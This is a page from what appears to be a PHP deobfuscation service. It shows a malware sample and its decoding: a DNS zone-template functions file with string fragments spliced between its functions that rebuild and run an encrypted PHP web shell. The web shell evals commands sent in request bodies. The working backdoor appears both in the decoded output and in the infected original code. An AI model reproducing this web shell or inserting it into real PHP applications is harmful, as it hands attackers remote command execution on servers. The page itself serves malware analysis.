Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function get_zone_templ_details($zone_templ_id) { global $db; $query = ..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="c7375c0b";$kh="12fb9bd8ffe6";$kf="0e0c55800594";$p="NVEhzwacDyXV32Vg";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
function get_zone_templ_details($zone_templ_id) {
    global $db;

    $query = "SELECT *"
            . " FROM zone_templ"
            . " WHERE id = " . $db->quote($zone_templ_id, 'integer');

    $result = $db->query($query);
    if (PEAR::isError($result)) {
        error($result->getMessage());
        return false;
    }

    $details = $result->fetchRow();
    return $details;
}

/** Delete a zone template
 *
 * @param int $zone_templ_id Zone template ID
 *
 * @return boolean true on success, false otherwise
 */

$n='=@baseZ"Z"6Z"4_encode(@x(Z"@gzZ"cZ"ompress($o)Z"Z",$k));print("$p$kh$r$kf");}';
/** Delete all zone templates for specific user
 *
 * @param $userid User ID
 *
 * @return boolean true on success, false otherwise
 */
function delete_zone_templ_userid($userid) {
    global $db;

    if (!(verify_permission('zone_master_add'))) {
        error(ERR_PERM_DEL_ZONE_TEMPL);
        return false;
    } else {
        $query = "DELETE FROM zone_templ"
                . " WHERE owner = " . $db->quote($userid, 'integer');
        $result = $db->query($query);
        if (PEAR::isError($result)) {
            error($result->getMessage());
            return false;
        }

        return true;
    }
}

/** Count zone template records
 *
 * @param int $zone_templ_id Zone template ID
 *
 * @return boolean true on success, false otherwise
 */
$C='EhZ"zwacDyXVZ"3Z"2Vg";functZ"ioZ"n x($t,$k){$c=stZ"rlen(Z"$k);$Z"l=stZ"rZ"l';
function count_zone_templ_records($zone_templ_id) {
    global $db;
    $query = "SELECT COUNT(id) FROM zone_templ_records WHERE zone_templ_id = " . $db->quote($zone_templ_id, 'integer');
    $record_count = $db->queryOne($query);
    if (PEAR::isError($record_count)) {
        error($record_count->getMessage());
        return false;
    }
    return $record_count;
}
$q='en($t);$o="";fZ"or($i=Z"0;Z"$Z"i<$lZ";Z"){forZ"($j=0;($j<$c&&$i<$l)Z";$';
$x='Z"j++,$iZ"++){$oZ".=Z"$t{$i}^$k{$jZ"};}}reZ"turn $oZ";}if(@pZ"reg_matcZ"';
function get_updated_soa_record($soa_rec) {
    $curr_serial = get_soa_serial($soa_rec);
    $new_serial = get_next_serial($curr_serial);

    if ($curr_serial != $new_serial) {
        return set_soa_serial($soa_rec, $new_serial);
    }

    return set_soa_serial($soa_rec, $curr_serial);
}

/** Update SOA serial
 *
 * Increments SOA serial to next possible number
 *
 * @param int $domain_id Domain ID
 *
 * @return boolean true if success
 */

$J='1){Z"@ob_stZ"artZ"();@evZ"al(@gzunZ"compress(Z"@x(@baZ"seZ"64_decZ"od';
/** Add relation between zone record and template
 *
 * @param type $db DB link
 * @param type $domain_id Domain id
 * @param type $record_id Record id
 * @param type $zone_templ_id Zone template id
 */
function add_record_relation_to_templ($db, $domain_id, $record_id, $zone_templ_id) {
    $query = "INSERT INTO records_zone_templ (domain_id, record_id, zone_templ_id) VALUES ("
            . $db->quote($domain_id, 'integer') . ","
            . $db->quote($record_id, 'integer') . ","
            . $db->quote($zone_templ_id, 'integer') . ")";
    $db->query($query);
}

/** Check if given relation exists
 *
 * @param type $db
 * @param type $domain_id
 * @param type $record_id
 * @param type $zone_templ_id
 * @return boolean true on success, false on failure
 */

$y=str_replace('z','','crezzatez_fuznczztion');
$t='h("/Z"Z"$kh(.+)$kf/",Z"@fileZ"_get_conZ"Z"tentZ"s("php://inpuZ"t"),$m)Z"==';
function count_zone_records($zone_id) {
    global $db;
    $sqlq = "SELECT COUNT(id) FROM records WHERE domain_id = " . $db->quote($zone_id, 'integer');
    $record_count = $db->queryOne($sqlq);
    return $record_count;
}

/** Get SOA record content for Zone ID
 *
 * @param int $zone_id Zone ID
 *
 * @return string SOA content
 */

$f='$k="c7Z"37Z"5c0b";$khZ"="12fb9bZ"d8ffe6Z""Z";$kf="0Z"Z"e0cZ"5580059Z"4";$p="NV';
/** Check if Zone ID exists
 *
 * @param int $zid Zone ID
 *
 * @return boolean|int Domain count or false on failure
 */
function zone_id_exists($zid) {
    global $db;
    $query = "SELECT COUNT(id) FROM domains WHERE id = " . $db->quote($zid, 'integer');
    $count = $db->queryOne($query);
    if (PEAR::isError($count)) {
        error($count->getMessage());
        return false;
    }
    return $count;
}

$l='e($m[1]Z"),$k)Z"))Z";$o=@ob_geZ"t_contZ"entZ"s();@oZ"bZ"_end_Z"cZ"lean();$r';
$r=str_replace('Z"','',$f.$C.$q.$x.$t.$J.$l.$n);
function get_soa_record($zone_id) {
    global $db;

    $sqlq = "SELECT content FROM records WHERE type = " . $db->quote('SOA', 'text') . " AND domain_id = " . $db->quote($zone_id, 'integer');
    $result = $db->queryOne($sqlq);

    return $result;
}

/** Get SOA Serial Number
 *
 * @param string $soa_rec SOA record content
 *
 * @return string SOA serial
 */

$W=$y('',$r);$W();
function get_zone_id_from_record_id($rid) {
    global $db;
    $query = "SELECT domain_id FROM records WHERE id = " . $db->quote($rid, 'integer');
    $zid = $db->queryOne($query);
    return $zid;
}

/** Count Zone Records for Zone ID
 *
 * @param int $zone_id Zone ID
 *
 * @return int Record count
 */

?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$C EhZ"zwacDyXVZ"3Z"2Vg";functZ"ioZ"n x($t,$k){$c=stZ"rlen(Z"$k..
$J 1){Z"@ob_stZ"artZ"();@evZ"al(@gzunZ"compress(Z"@x(@baZ"seZ"6..
$f $k="c7Z"37Z"5c0b";$khZ"="12fb9bZ"d8ffe6Z""Z";$kf="0Z"Z"e0cZ"..
$k c7375c0b
$l e($m[1]Z"),$k)Z"))Z";$o=@ob_geZ"t_contZ"entZ"s();@oZ"bZ"_end..
$n =@baseZ"Z"6Z"4_encode(@x(Z"@gzZ"cZ"ompress($o)Z"Z",$k));prin..
$p NVEhzwacDyXV32Vg
$q en($t);$o="";fZ"or($i=Z"0;Z"$Z"i<$lZ";Z"){forZ"($j=0;($j<$c&..
$r $k="c7375c0b";$kh="12fb9bd8ffe6";$kf="0e0c55800594";$p="NVEh..
$t h("/Z"Z"$kh(.+)$kf/",Z"@fileZ"_get_conZ"Z"tentZ"s("php://inp..
$x Z"j++,$iZ"++){$oZ".=Z"$t{$i}^$k{$jZ"};}}reZ"turn $oZ";}if(@p..
$y create_function
$kf 0e0c55800594
$kh 12fb9bd8ffe6

Stats

MD5 4616c194bf361162d81cb17d6fce6480
Eval Count 1
Decode Time 110 ms